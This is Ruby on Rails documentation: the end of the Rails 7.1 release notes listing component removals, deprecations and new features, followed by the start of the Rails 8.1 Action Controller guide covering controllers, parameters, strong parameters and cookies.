response.content_type         # => "text/html; charset=utf-8"
response.parsed_body.class    # => Nokogiri::HTML5::Document
response.parsed_body.to_html  # => "<!DOCTYPE html>\n<html>\n..."
```

Newly added [Nokogiri support for pattern matching](https://nokogiri.org/rdoc/Nokogiri/XML/Attr.html#method-i-deconstruct_keys), along with built-in [Minitest support for pattern matching](https://docs.seattlerb.org/minitest/Minitest/Assertions.html#method-i-assert_pattern) presents opportunities to make test assertions about the structure and content of the HTML response:

```
get "/posts"

html = response.parsed_body # => <html>
                            #      <head></head>
                            #        <body>
                            #          <main><h1>Some main content</h1></main>
                            #        </body>
                            #     </html>

assert_pattern { html.at("main") => { content: "Some main content" } }
assert_pattern { html.at("main") => { content: /content/ } }
assert_pattern { html.at("main") => { children: [{ name: "h1", content: /content/ }] } }
```

### [2.14. Introduce `ActionView::TestCase.register_parser`](#introduce-actionview-testcase-register-parser)

[Extend `ActionView::TestCase`](https://github.com/rails/rails/pull/49194) to support parsing content rendered by view partials into known structures. By default, define `rendered_html` to parse HTML into a `Nokogiri::XML::Node` and `rendered_json` to parse JSON into an `ActiveSupport::HashWithIndifferentAccess`:

```
test "renders HTML" do
  article = Article.create!(title: "Hello, world")

  render partial: "articles/article", locals: { article: article }

  assert_pattern { rendered_html.at("main h1") => { content: "Hello, world" } }
end

test "renders JSON" do
  article = Article.create!(title: "Hello, world")

  render formats: :json, partial: "articles/article", locals: { article: article }

  assert_pattern { rendered_json => { title: "Hello, world" } }
end
```

To parse the rendered content into RSS, register a call to `RSS::Parser.parse`:

```
register_parser :rss, -> rendered { RSS::Parser.parse(rendered) }

test "renders RSS" do
  article = Article.create!(title: "Hello, world")

  render formats: :rss, partial: article, locals: { article: article }

  assert_equal "Hello, world", rendered_rss.items.last.title
end
```

To parse the rendered content into a Capybara::Simple::Node, re-register an `:html` parser with a call to `Capybara.string`:

```
register_parser :html, -> rendered { Capybara.string(rendered) }

test "renders HTML" do
  article = Article.create!(title: "Hello, world")

  render partial: article

  rendered_html.assert_css "main h1", text: "Hello, world"
end
```

## [3. Railties](#railties)

Please refer to the [Changelog](https://github.com/rails/rails/blob/7-1-stable/railties/CHANGELOG.md) for detailed changes.

### [3.1. Removals](#railties-removals)

* Remove deprecated `bin/rails secrets:setup` command.

* Remove default `X-Download-Options` header since it is used only by Internet Explorer.

### [3.2. Deprecations](#railties-deprecations)

* Deprecate usage of `Rails.application.secrets`.

* Deprecate `secrets:show` and `secrets:edit` commands in favor of `credentials`.

* Deprecate `Rails::Generators::Testing::Behaviour` in favor of `Rails::Generators::Testing::Behavior`.

### [3.3. Notable changes](#railties-notable-changes)

* Add `sandbox_by_default` option to start rails console in sandbox mode by default.

* Add new syntax for support filtering tests by line ranges.

* Add `DATABASE` option that enables the specification of the target database when executing the `rails railties:install:migrations` command to copy migrations.

* Add support for Bun in `rails new --javascript` generator.

  ```
  $ rails new my_new_app --javascript=bun
  ```

* Add ability to show slow tests to the test runner.

## [4. Action Cable](#action-cable)

Please refer to the [Changelog](https://github.com/rails/rails/blob/7-1-stable/actioncable/CHANGELOG.md) for detailed changes.

### [4.1. Removals](#action-cable-removals)

### [4.2. Deprecations](#action-cable-deprecations)

### [4.3. Notable changes](#action-cable-notable-changes)

* Add `capture_broadcasts` test helper to capture all messages broadcasted in a block.

* Add the ability to Redis pub/sub adapter to automatically reconnect when Redis connection is lost.

* Add command callbacks `before_command`, `after_command`, and `around_command` to `ActionCable::Connection::Base`.

## [5. Action Pack](#action-pack)

Please refer to the [Changelog](https://github.com/rails/rails/blob/7-1-stable/actionpack/CHANGELOG.md) for detailed changes.

### [5.1. Removals](#action-pack-removals)

* Remove deprecated behavior on `Request#content_type`

* Remove deprecated ability to assign a single value to `config.action_dispatch.trusted_proxies`.

* Remove deprecated `poltergeist` and `webkit` (capybara-webkit) driver registration for system testing.

### [5.2. Deprecations](#action-pack-deprecations)

* Deprecate `config.action_dispatch.return_only_request_media_type_on_content_type`.

* Deprecate `AbstractController::Helpers::MissingHelperError`.

* Deprecate `ActionDispatch::IllegalStateError`.

* Deprecate `speaker`, `vibrate`, and `vr` permissions policy directives.

* Deprecate `true` and `false` values for `config.action_dispatch.show_exceptions` in favor of `:all`, `:rescuable`, or `:none`.

### [5.3. Notable changes](#action-pack-notable-changes)

* Add `exclude?` method to `ActionController::Parameters`. It is the inverse of `include?` method.

* Add `ActionController::Parameters#extract_value` method to allow extracting serialized values from params.

* Add the ability to use custom logic for storing and retrieving CSRF tokens.

* Add `html` and `screenshot` kwargs for system test screenshot helper.

## [6. Action View](#action-view)

Please refer to the [Changelog](https://github.com/rails/rails/blob/7-1-stable/actionview/CHANGELOG.md) for detailed changes.

### [6.1. Removals](#action-view-removals)

* Remove deprecated constant `ActionView::Path`.

* Remove deprecated support to passing instance variables as locals to partials.

### [6.2. Deprecations](#action-view-deprecations)

### [6.3. Notable changes](#action-view-notable-changes)

* `checkbox_tag` and `radio_button_tag` now accept `checked` as a keyword argument.

* Add `picture_tag` helper to generate HTML `<picture>` tags.

* The `simple_format` helper now handles a `:sanitize_options` feature, allowing the addition of extra options for the sanitize process.

  ```
  simple_format("<a target=\"_blank\" href=\"http://example.com\">Continue</a>", {}, { sanitize_options: { attributes: %w[target href] } })
  # => "<p><a target=\"_blank\" href=\"http://example.com\">Continue</a></p>"
  ```

## [7. Action Mailer](#action-mailer)

Please refer to the [Changelog](https://github.com/rails/rails/blob/7-1-stable/actionmailer/CHANGELOG.md) for detailed changes.

### [7.1. Removals](#action-mailer-removals)

### [7.2. Deprecations](#action-mailer-deprecations)

* Deprecate `config.action_mailer.preview_path`.

* Deprecate passing params to `assert_enqueued_email_with` via the `:args` kwarg. Now supports a `:params` kwarg, so use that to pass params.

### [7.3. Notable changes](#action-mailer-notable-changes)

* Add `config.action_mailer.preview_paths` to support multiple preview paths.

* Add `capture_emails` in the test helper to capture all emails sent in a block.

* Add `deliver_enqueued_emails` to `ActionMailer::TestHelper` to deliver all enqueued email jobs.

## [8. Active Record](#active-record)

Please refer to the [Changelog](https://github.com/rails/rails/blob/7-1-stable/activerecord/CHANGELOG.md) for detailed changes.

### [8.1. Removals](#active-record-removals)

* Remove support for `ActiveRecord.legacy_connection_handling`.

* Remove deprecated `ActiveRecord::Base` config accessors

* Remove support for `:include_replicas` on `configs_for`. Use `:include_hidden` instead.

* Remove deprecated `config.active_record.partial_writes`.

* Remove deprecated `Tasks::DatabaseTasks.schema_file_type`.

* Remove `--no-comments` flag in structure dumps for PostgreSQL.

### [8.2. Deprecations](#active-record-deprecations)

* Deprecate `name` argument on `#remove_connection`.

* Deprecate `check_pending!` in favor of `check_all_pending!`.

* Deprecate `deferrable: true` option of `add_foreign_key` in favor of `deferrable: :immediate`.

* Deprecate `TestFixtures#fixture_path` in favor of `TestFixtures#fixture_paths`.

* Deprecate delegation from `Base` to `connection_handler`.

* Deprecate `config.active_record.suppress_multiple_database_warning`.

* Deprecate using `ActiveSupport::Duration` as an interpolated bind parameter in an SQL string template.

* Deprecate `all_connection_pools` and make `connection_pool_list` more explicit.

* Deprecate `read_attribute(:id)` returning the primary key if the primary key is not `:id`.

* Deprecate `rewhere` argument on `#merge`.

* Deprecate aliasing non-attributes with `alias_attribute`.

### [8.3. Notable changes](#active-record-notable-changes)

* Add `TestFixtures#fixture_paths` to support multiple fixture paths.

* Add `authenticate_by` when using `has_secure_password`.

* Add `update_attribute!` to `ActiveRecord::Persistence`, which is similar to `update_attribute` but raises `ActiveRecord::RecordNotSaved` when a `before_*` callback throws `:abort`.

* Allow using aliased attributes with `insert_all`/`upsert_all`.

* Add `:include` option to `add_index`.

* Add `#regroup` query method as a short-hand for `.unscope(:group).group(fields)`.

* Add support for auto-populated columns, and custom primary keys to the `SQLite3` adapter.

* Add modern, performant defaults for `SQLite3` database connections.

* Allow specifying where clauses with column-tuple syntax.

  ```
  Topic.where([:title, :author_name] => [["The Alchemist", "Paulo Coelho"], ["Harry Potter", "J.K Rowling"]])
  ```

* Auto generated index names are now limited to 62 bytes, which fits within the default index name length limits for MySQL, PostgreSQL and SQLite.

* Introduce adapter for Trilogy database client.

* Add `ActiveRecord.disconnect_all!` method to immediately close all connections from all pools.

* Add PostgreSQL migration commands for enum rename, add value, and rename value.

* Add `ActiveRecord::Base#id_value` alias to access the raw value of a record's id column.

* Add validation option for `enum`.

* The default hash digest for `ActiveRecord::Encryption`, used for attributes defined with `encrypts`, is now `SHA256`, changed from `SHA1` in the default configuration. These defaults also include `support_sha1_for_non_deterministic_encryption = false` which can lead to apps being unable to decrypt data encrypted with the old default hash digest if data is not re-encrypted.

## [9. Active Storage](#active-storage)

Please refer to the [Changelog](https://github.com/rails/rails/blob/7-1-stable/activestorage/CHANGELOG.md) for detailed changes.

### [9.1. Removals](#active-storage-removals)

* Remove deprecated invalid default content types in Active Storage configurations.

* Remove deprecated `ActiveStorage::Current#host` and `ActiveStorage::Current#host=` methods.

* Remove deprecated behavior when assigning to a collection of attachments. Instead of appending to the collection, the collection is now replaced.

* Remove deprecated `purge` and `purge_later` methods from the attachments association.

### [9.2. Deprecations](#active-storage-deprecations)

### [9.3. Notable changes](#active-storage-notable-changes)

* `ActiveStorage::Analyzer::AudioAnalyzer` now outputs `sample_rate` and `tags` in the output `metadata` hash.

* Add the option to utilize predefined variants when invoking the `preview` or `representation` methods on an attachment.

* `preprocessed` option is added when declaring variants to preprocess variants.

* Add the ability to destroy Active Storage variants.

  ```
  User.first.avatar.variant(resize_to_limit: [100, 100]).destroy
  ```

## [10. Active Model](#active-model)

Please refer to the [Changelog](https://github.com/rails/rails/blob/7-1-stable/activemodel/CHANGELOG.md) for detailed changes.

### [10.1. Removals](#active-model-removals)

### [10.2. Deprecations](#active-model-deprecations)

### [10.3. Notable changes](#active-model-notable-changes)

* Add support for infinite ranges to `LengthValidator`s `:in`/`:within` options.

  ```
  validates_length_of :first_name, in: ..30
  ```

* Add support for beginless ranges to `inclusivity/exclusivity` validators.

  ```
  validates_inclusion_of :birth_date, in: -> { (..Date.today) }
  ```

  ```
  validates_exclusion_of :birth_date, in: -> { (..Date.today) }
  ```

* Add support for password challenges to `has_secure_password`. When set, validate that the password challenge matches the persisted `password_digest`.

* Allow validators to accept lambdas without record argument.

  ```
  # Before
  validates_comparison_of :birth_date, less_than_or_equal_to: ->(_record) { Date.today }

  # After
  validates_comparison_of :birth_date, less_than_or_equal_to: -> { Date.today }
  ```

## [11. Active Support](#active-support)

Please refer to the [Changelog](https://github.com/rails/rails/blob/7-1-stable/activesupport/CHANGELOG.md) for detailed changes.

### [11.1. Removals](#active-support-removals)

* Remove deprecated override of `Enumerable#sum`.

* Remove deprecated `ActiveSupport::PerThreadRegistry`.

* Remove deprecated option to passing a format to `#to_s` in `Array`, `Range`, `Date`, `DateTime`, `Time`, `BigDecimal`, `Float` and, `Integer`.

* Remove deprecated override of `ActiveSupport::TimeWithZone.name`.

* Remove deprecated `active_support/core_ext/uri` file.

* Remove deprecated `active_support/core_ext/range/include_time_with_zone` file.

* Remove implicit conversion of objects into `String` by `ActiveSupport::SafeBuffer`.

* Remove deprecated support to generate incorrect RFC 4122 UUIDs when providing a namespace ID that is not one of the constants defined on `Digest::UUID`.

### [11.2. Deprecations](#active-support-deprecations)

* Deprecate `config.active_support.disable_to_s_conversion`.

* Deprecate `config.active_support.remove_deprecated_time_with_zone_name`.

* Deprecate `config.active_support.use_rfc4122_namespaced_uuids`.

* Deprecate `SafeBuffer#clone_empty`.

* Deprecate usage of the singleton `ActiveSupport::Deprecation`.

* Deprecate initializing a `ActiveSupport::Cache::MemCacheStore` with an instance of `Dalli::Client`.

* Deprecate `Notification::Event`'s `#children` and `#parent_of?` methods.

### [11.3. Notable changes](#active-support-notable-changes)

## [12. Active Job](#active-job)

Please refer to the [Changelog](https://github.com/rails/rails/blob/7-1-stable/activejob/CHANGELOG.md) for detailed changes.

### [12.1. Removals](#active-job-removals)

* Remove `QueAdapter`.

### [12.2. Deprecations](#active-job-deprecations)

### [12.3. Notable changes](#active-job-notable-changes)

* Add `perform_all_later` to enqueue multiple jobs at once.

* Add `--parent` option to job generator to specify parent class of job.

* Add `after_discard` method to `ActiveJob::Base` to run a callback when a job is about to be discarded.

* Add support for logging background job enqueue callers via `config.active_job.verbose_enqueue_logs`.

## [13. Action Text](#action-text)

Please refer to the [Changelog](https://github.com/rails/rails/blob/7-1-stable/actiontext/CHANGELOG.md) for detailed changes.

### [13.1. Removals](#action-text-removals)

### [13.2. Deprecations](#action-text-deprecations)

### [13.3. Notable changes](#action-text-notable-changes)

## [14. Action Mailbox](#action-mailbox)

Please refer to the [Changelog](https://github.com/rails/rails/blob/7-1-stable/actionmailbox/CHANGELOG.md) for detailed changes.

### [14.1. Removals](#action-mailbox-removals)

### [14.2. Deprecations](#action-mailbox-deprecations)

### [14.3. Notable changes](#action-mailbox-notable-changes)

* Add `X-Forwarded-To` addresses to recipients.

* Add `bounce_now_with` method to `ActionMailbox::Base` to send the bounce email without going through a mailer queue.

## [15. Ruby on Rails Guides](#ruby-on-rails-guides)

Please refer to the [Changelog](https://github.com/rails/rails/blob/7-1-stable/guides/CHANGELOG.md) for detailed changes.

### [15.1. Notable changes](#notable-changes)

## [16. Credits](#credits)

See the [full list of contributors to Rails](https://contributors.rubyonrails.org/) for the many people who spent many hours making Rails, the stable and robust framework it is. Kudos to all of them.

***

***

[Back to top](#main-skip-link)

----
url: https://guides.rubyonrails.org/v8.1/action_controller_overview.html
----

***

## [1. Introduction](#introduction)

Action Controller is the C in the Model View Controller ([MVC](https://en.wikipedia.org/wiki/Model%E2%80%93view%E2%80%93controller)) pattern. After the [router](routing.html) has matched a controller to an incoming request, the controller is responsible for processing the request and generating the appropriate output.

For most conventional [RESTful](https://en.wikipedia.org/wiki/Representational_state_transfer) applications, the controller will receive the request, fetch or save data from a model, and use a view to create HTML output.

You can imagine that a controller sits between models and views. The controller makes model data available to the view, so that the view can display that data to the user. The controller also receives user input from the view and saves or updates model data accordingly.

## [2. Creating a Controller](#creating-a-controller)

A controller is a Ruby class which inherits from `ApplicationController` and has methods just like any other class. Once an incoming request is matched to a controller by the router, Rails creates an instance of that controller class and calls the method with the same name as the action.

```
class ClientsController < ApplicationController
  def new
  end
end
```

Given the above `ClientsController`, if a user goes to `/clients/new` in your application to add a new client, Rails will create an instance of `ClientsController` and call its `new` method. If the `new` method is empty, Rails will automatically render the `new.html.erb` view by default.

The `new` method is an instance method here, called on an instance of `ClientsController`. This should not be confused with the `new` class method (i.e., `ClientsController.new`).

In the `new` method, the controller would typically create an instance of the `Client` model, and make it available as an instance variable called `@client` in the view:

```
def new
  @client = Client.new
end
```

All controllers inherit from `ApplicationController`, which in turn inherits from [`ActionController::Base`](https://api.rubyonrails.org/v8.1.4/classes/ActionController/Base.html). For [API only](https://guides.rubyonrails.org/api_app.html) applications `ApplicationController` inherits from [`ActionController::API`](https://edgeapi.rubyonrails.org/classes/ActionController/API.html).

### [2.1. Controller Naming Convention](#controller-naming-convention)

Rails favors making the resource in the controller's name plural. For example, `ClientsController` is preferred over `ClientController` and `SiteAdminsController` over `SiteAdminController` or `SitesAdminsController`. However, the plural names are not strictly required (e.g. `ApplicationController`).

Following this naming convention will allow you to use the [default route generators](routing.html#crud-verbs-and-actions) (e.g. `resources`) without needing to qualify each with options such as [`:controller`](routing.html#specifying-a-controller-to-use). The convention also makes named route helpers consistent throughout your application.

The controller naming convention is different from models. While plural names are preferred for controller names, the singular form is preferred for [model names](active_record_basics.html#naming-conventions) (e.g. `Account` vs. `Accounts`).

Controller actions should be `public`, as only `public` methods are callable as actions. It is also best practice to lower the visibility of helper methods (with `private` or `protected`) which are *not* intended to be actions.

Some method names are reserved by Action Controller. Accidentally redefining them could result in `SystemStackError`. If you limit your controllers to only RESTful [Resource Routing](routing.html#resource-routing-the-rails-default) actions you should not need to worry about this.

If you must use a reserved method as an action name, one workaround is to use a custom route to map the reserved method name to your non-reserved action method.

## [3. Parameters](#parameters)

Data sent by the incoming request is available in your controller in the [`params`](https://api.rubyonrails.org/v8.1.4/classes/ActionController/StrongParameters.html#method-i-params) hash. There are two types of parameter data:

* Query string parameters which are sent as part of the URL (for example, after the `?` in `http://example.com/accounts?filter=free`).
* POST parameters which are submitted from an HTML form.

Rails does not make a distinction between query string parameters and POST parameters; both are available in the `params` hash in your controller. For example:

```
class ClientsController < ApplicationController
  # This action receives query string parameters from an HTTP GET request
  # at the URL "/clients?status=activated"
  def index
    if params[:status] == "activated"
      @clients = Client.activated
    else
      @clients = Client.inactivated
    end
  end

  # This action receives parameters from a POST request to "/clients" URL with  form data in the request body.
  def create
    @client = Client.new(params[:client])
    if @client.save
      redirect_to @client
    else
      render "new"
    end
  end
end
```

The `params` hash is not a plain old Ruby Hash; instead, it is an [`ActionController::Parameters`](https://api.rubyonrails.org/v8.1.4/classes/ActionController/Parameters.html) object. It does not inherit from Hash, but it behaves mostly like Hash. It provides methods for filtering `params` and, unlike a Hash, keys `:foo` and `"foo"` are considered to be the same.

### [3.1. Hash and Array Parameters](#hash-and-array-parameters)

The `params` hash is not limited to one-dimensional keys and values. It can contain nested arrays and hashes. To send an array of values, append an empty pair of square brackets `[]` to the key name:

```
GET /users?ids[]=1&ids[]=2&ids[]=3
```

The actual URL in this example will be encoded as `/users?ids%5b%5d=1&ids%5b%5d=2&ids%5b%5d=3` as the `[` and `]` characters are not allowed in URLs. Most of the time you don't have to worry about this because the browser will encode it for you, and Rails will decode it automatically, but if you ever find yourself having to send those requests to the server manually you should keep this in mind.

The value of `params[:ids]` will be the array `["1", "2", "3"]`. Note that parameter values are always strings; Rails does not attempt to guess or cast the type.

Values such as `[nil]` or `[nil, nil, ...]` in `params` are replaced with `[]` for security reasons by default. See [Security Guide](security.html#unsafe-query-generation) for more information.

To send a hash, you include the key name inside the brackets:

```
<form accept-charset="UTF-8" action="/users" method="post">
  <input type="text" name="user[name]" value="Acme" />
  <input type="text" name="user[phone]" value="12345" />
  <input type="text" name="user[address][postcode]" value="12345" />
  <input type="text" name="user[address][city]" value="Carrot City" />
</form>
```

When this form is submitted, the value of `params[:user]` will be `{ "name" => "Acme", "phone" => "12345", "address" => { "postcode" => "12345", "city" => "Carrot City" } }`. Note the nested hash in `params[:user][:address]`.

The `params` object acts like a Hash, but lets you use symbols and strings interchangeably as keys.

### [3.2. Composite Key Parameters](#composite-key-parameters)

[Composite key parameters](active_record_composite_primary_keys.html) contain multiple values in one parameter separated by a delimiter (e.g., an underscore). Therefore, you will need to extract each value so that you can pass them to Active Record. You can use the `extract_value` method to do that.

For example, given the following controller:

```
class BooksController < ApplicationController
  def show
    # Extract the composite ID value from URL parameters.
    id = params.extract_value(:id)
    @book = Book.find(id)
  end
end
```

And this route:

```
get "/books/:id", to: "books#show"
```

When a user requests the URL `/books/4_2`, the controller will extract the composite key value `["4", "2"]` and pass it to `Book.find`. The `extract_value` method may be used to extract arrays out of any delimited parameters.

### [3.3. JSON Parameters](#json-parameters)

If your application exposes an API, you will likely accept parameters in JSON format. If the `content-type` header of your request is set to `application/json`, Rails will automatically load your parameters into the `params` hash, which you can access as you would normally.

So for example, if you are sending this JSON content:

```
{ "user": { "name": "acme", "address": "123 Carrot Street" } }
```

Your controller will receive:

```
{ "user" => { "name" => "acme", "address" => "123 Carrot Street" } }
```

#### [3.3.1. Configuring Wrap Parameters](#configuring-wrap-parameters)

You can use [Wrap Parameters](https://api.rubyonrails.org/v8.1.4/classes/ActionController/ParamsWrapper/Options/ClassMethods.html#method-i-wrap_parameters), which automatically add the controller name to JSON parameters. For example, you can send the below JSON without a root `:user` key prefix:

```
{ "name": "acme", "address": "123 Carrot Street" }
```

Assuming that you're sending the above data to the `UsersController`, the JSON will be wrapped within the `:user` key like this:

```
{ name: "acme", address: "123 Carrot Street", user: { name: "acme", address: "123 Carrot Street" } }
```

Wrap Parameters adds a clone of the parameters to the hash within a key that is the same as the controller name. As a result, both the original version of the parameters and the "wrapped" version of the parameters will exist in the params hash.

This feature clones and wraps parameters with a key chosen based on your controller's name. It is configured to `true` by default. If you do not want to wrap parameters you can [configure](configuring.html#config-action-controller-wrap-parameters-by-default) it to `false`.

```
config.action_controller.wrap_parameters_by_default = false
```

You can also customize the name of the key or specific parameters you want to wrap, see the [API documentation](https://api.rubyonrails.org/v8.1.4/classes/ActionController/ParamsWrapper.html) for more.

### [3.4. Routing Parameters](#routing-parameters)

Parameters specified as part of a route declaration in the `routes.rb` file are also made available in the `params` hash. For example, we can add a route that captures the `:status` parameter for a client:

```
get "/clients/:status", to: "clients#index", foo: "bar"
```

When a user navigates to `/clients/active` URL, `params[:status]` will be set to "active". When this route is used, `params[:foo]` will also be set to "bar", as if it were passed in the query string.

Any other parameters defined by the route declaration, such as `:id`, will also be available.

In the above example, your controller will also receive `params[:action]` as "index" and `params[:controller]` as "clients". The `params` hash will always contain the `:controller` and `:action` keys, but it's recommended to use the methods [`controller_name`](https://api.rubyonrails.org/v8.1.4/classes/ActionController/Metal.html#method-i-controller_name) and [`action_name`](https://api.rubyonrails.org/v8.1.4/classes/AbstractController/Base.html#method-i-action_name) instead to access these values.

### [3.5. The `default_url_options` Method](#the-default-url-options-method)

You can set global default parameters for [`url_for`](https://api.rubyonrails.org/v8.1.4/classes/ActionView/RoutingUrlFor.html#method-i-url_for) by defining a method called `default_url_options` in your controller. For example:

```
class ApplicationController < ActionController::Base
  def default_url_options
    { locale: I18n.locale }
  end
end
```

The specified defaults will be used as a starting point when generating URLs. They can be overridden by the options passed to `url_for` or any path helper such as `posts_path`. For example, by setting `locale: I18n.locale`, Rails will automatically add the locale to every URL:

```
posts_path # => "/posts?locale=en"
```

You can still override this default if needed:

```
posts_path(locale: :fr) # => "/posts?locale=fr"
```

Under the hood, `posts_path` is a shorthand for calling `url_for` with the appropriate parameters.

If you define `default_url_options` in `ApplicationController`, as in the example above, these defaults will be used for all URL generation. The method can also be defined in a specific controller, in which case it only applies to URLs generated for that controller.

In a given request, the method is not actually called for every single generated URL. For performance reasons the returned hash is cached per request.

## [4. Strong Parameters](#strong-parameters)

With Action Controller [Strong Parameters](https://api.rubyonrails.org/v8.1.4/classes/ActionController/StrongParameters.html), parameters cannot be used in Active Model mass assignments until they have been explicitly permitted. This means you will need to decide which attributes to permit for mass update and declare them in the controller. This is a security practice to prevent users from accidentally updating sensitive model attributes.

In addition, parameters can be marked as required and the request will result in a 400 Bad Request being returned if not all required parameters are passed in.

```
class PeopleController < ActionController::Base
  # This will raise an ActiveModel::ForbiddenAttributesError
  # because it's using mass assignment without an explicit permit.
  def create
    Person.create(params[:person])
  end

  # This will work as we are using `person_params` helper method, which has the
  # call to `expect` to allow mass assignment.
  def update
    person = Person.find(params[:id])
    person.update!(person_params)
    redirect_to person
  end

  private
    # Using a private method to encapsulate the permitted parameters is a good
    # pattern. You can use the same list for both create and update.
    def person_params
      params.expect(person: [:name, :age])
    end
end
```

### [4.1. Permitting Values](#permitting-values)

#### [4.1.1. `expect`](#expect)

The [`expect`](https://api.rubyonrails.org/v8.1.4/classes/ActionController/Parameters.html#method-i-expect) method provides a concise and safe way to require and permit parameters.

```
id = params.expect(:id)
```

The above `expect` will always return a scalar value and not an array or hash. Another example is form params, you can use `expect` to ensure that the root key is present and the attributes are permitted.

```
user_params = params.expect(user: [:username, :password])
user_params.has_key?(:username) # => true
```

In the above example, if the `:user` key is not a nested hash with the specified keys, `expect` will raise an error and return a 400 Bad Request response.

To require and permit an entire hash of parameters, [`expect`](https://api.rubyonrails.org/v8.1.4/classes/ActionController/Parameters.html#method-i-expect) can be used in this way.

```
params.expect(log_entry: {})
```

This marks the `:log_entry` parameters hash and any sub-hash of it as permitted and does not check for permitted scalars, anything is accepted.

Extreme care should be taken when calling `expect` with an empty hash, as it will allow all current and future model attributes to be mass-assigned.

#### [4.1.2. `permit`](#permit)

Calling [`permit`](https://api.rubyonrails.org/v8.1.4/classes/ActionController/Parameters.html#method-i-permit) allows the specified key in `params` (`:id` or `:admin` below) for inclusion in mass assignment (e.g. via `create` or `update`):

```
params = ActionController::Parameters.new(id: 1, admin: "true")
=> #<ActionController::Parameters {"id"=>1, "admin"=>"true"} permitted: false>
params.permit(:id)
=> #<ActionController::Parameters {"id"=>1} permitted: true>
params.permit(:id, :admin)
=> #<ActionController::Parameters {"id"=>1, "admin"=>"true"} permitted: true>
```

For the permitted key `:id`, its value also needs to be one of these permitted scalar values: `String`, `Symbol`, `NilClass`, `Numeric`, `TrueClass`, `FalseClass`, `Date`, `Time`, `DateTime`, `StringIO`, `IO`, `ActionDispatch::Http::UploadedFile`, and `Rack::Test::UploadedFile`.

If you have not called `permit` on the key, it will be filtered out. Arrays, hashes, or any other objects are not injected by default.

To include a value in `params` that's an array of one of the permitted scalar values, you can map the key to an empty array like this:

```
params = ActionController::Parameters.new(tags: ["rails", "parameters"])
=> #<ActionController::Parameters {"tags"=>["rails", "parameters"]} permitted: false>
params.permit(tags: [])
=> #<ActionController::Parameters {"tags"=>["rails", "parameters"]} permitted: true>
```

To include hash values, you can map to an empty hash:

```
params = ActionController::Parameters.new(options: { darkmode: true })
=> #<ActionController::Parameters {"options"=>{"darkmode"=>true}} permitted: false>
params.permit(options: {})
=> #<ActionController::Parameters {"options"=>#<ActionController::Parameters {"darkmode"=>true} permitted: true>} permitted: true>
```

The above `permit` call ensures that values in `options` are permitted scalars and filters out anything else.

The `permit` with an empty hash is convenient since sometimes it is not possible or convenient to declare each valid key of a hash parameter or its internal structure. But note that the above `permit` with an empty hash opens the door to arbitrary input.

#### [4.1.3. `permit!`](#permit-bang)

There is also [`permit!`](https://api.rubyonrails.org/v8.1.4/classes/ActionController/Parameters.html#method-i-permit-21) (with an `!`) which permits an entire hash of parameters without checking the values.

```
params = ActionController::Parameters.new(id: 1, admin: "true")
=> #<ActionController::Parameters {"id"=>1, "admin"=>"true"} permitted: false>
params.permit!
=> #<ActionController::Parameters {"id"=>1, "admin"=>"true"} permitted: true>
```

Extreme care should be taken when using `permit!`, as it will allow all current and *future* model attributes to be mass-assigned.

### [4.2. Nested Parameters](#nested-parameters)

You can also use `expect` (or `permit`) on nested parameters, like:

```
# Given the example expected params:
params = ActionController::Parameters.new(
  name: "Martin",
  emails: ["me@example.com"],
  friends: [
    { name: "André", family: { name: "RubyGems" }, hobbies: ["keyboards", "card games"] },
    { name: "Kewe", family: { name: "Baroness" }, hobbies: ["video games"] },
  ]
)
# the following expect will ensure the params are permitted
name, emails, friends = params.expect(
  :name,                 # permitted scalar
  emails: [],            # array of permitted scalars
  friends: [[            # array of permitted Parameter hashes
    :name,               # permitted scalar
    family: [:name],     # family: { name: "permitted scalar" }
    hobbies: []          # array of permitted scalars
  ]]
)
```

This declaration permits the `name`, `emails`, and `friends` attributes and returns them each. It is expected that `emails` will be an array of permitted scalar values, and that `friends` will be an array of resources (note the new double array syntax to explicitly require an array) with specific attributes. These attributes should have a `name` attribute (any permitted scalar values allowed), a `hobbies` attribute as an array of permitted scalar values, and a `family` attribute which is restricted to a hash with only a `name` key and any permitted scalar value.

### [4.3. Examples](#examples)

Here are some examples of how to use `permit` for different use cases.

**Example 1**: You may want to use the permitted attributes in your `new` action. This raises the problem that you can't use [`require`](https://api.rubyonrails.org/v8.1.4/classes/ActionController/Parameters.html#method-i-require) on the root key because, normally, it does not exist when calling `new`:

```
# using `fetch` you can supply a default and use
# the Strong Parameters API from there.
params.fetch(:blog, {}).permit(:title, :author)
```

**Example 2**: The model class method `accepts_nested_attributes_for` allows you to update and destroy associated records. This is based on the `id` and `_destroy` parameters:

```
# permit :id and :_destroy
params.expect(author: [ :name, books_attributes: [[ :title, :id, :_destroy ]] ])
```

**Example 3**: Hashes with integer keys are treated differently, and you can declare the attributes as if they were direct children. You get these kinds of parameters when you use `accepts_nested_attributes_for` in combination with a `has_many` association:

```
# To permit the following data:
# {"book" => {"title" => "Some Book",
#             "chapters_attributes" => { "1" => {"title" => "First Chapter"},
#                                        "2" => {"title" => "Second Chapter"}}}}

params.expect(book: [ :title, chapters_attributes: [[ :title ]] ])
```

**Example 4**: Imagine a scenario where you have parameters representing a product name, and a hash of arbitrary data associated with that product, and you want to permit the product name attribute and also the whole data hash:

```
def product_params
  params.expect(product: [ :name, data: {} ])
end
```

## [5. Cookies](#cookies)

The concept of a cookie is not specific to Rails. A [cookie](https://en.wikipedia.org/wiki/HTTP_cookie) (also known as an HTTP cookie or a web cookie) is a small piece of data from the server that is saved in the user's browser. The browser may store cookies, create new cookies, modify existing ones, and send them back to the server with later requests. Cookies persist data across web requests and therefore enable web applications to remember user preferences.

Rails provides an easy way to access cookies via the [`cookies`](https://api.rubyonrails.org/v8.1.4/classes/ActionController/Cookies.html#method-i-cookies) method, which works like a hash:

```
class CommentsController < ApplicationController
  def new
    # Auto-fill the commenter's name if it has been stored in a cookie
    @comment = Comment.new(author: cookies[:commenter_name])
  end

  def create
    @comment = Comment.new(comment_params)
    if @comment.save
      if params[:remember_name]
        # Save the commenter's name in a cookie.
        cookies[:commenter_name] = @comment.author
      else
        # Delete cookie for the commenter's name, if any.
        cookies.delete(:commenter_name)
      end
      redirect_to @comment.article
    else
      render action: "new"
    end
  end
end
```

To delete a cookie, you need to use `cookies.delete(:key)`. Setting the `key` to a `nil` value does not delete the cookie.

When passed a scalar value, the cookie will be deleted when the user closes their browser. If you want the cookie to expire at a specific time, pass a hash with the `:expires` option when setting the cookie. For example, to set a cookie that expires in 1 hour:

```
cookies[:login] = { value: "XJ-122", expires: 1.hour }
```

If you want to create cookies that never expire use the permanent cookie jar. This sets the assigned cookies to have an expiration date 20 years from now.

```
cookies.permanent[:locale] = "fr"
```

### [5.1. Encrypted and Signed Cookies](#encrypted-and-signed-cookies)

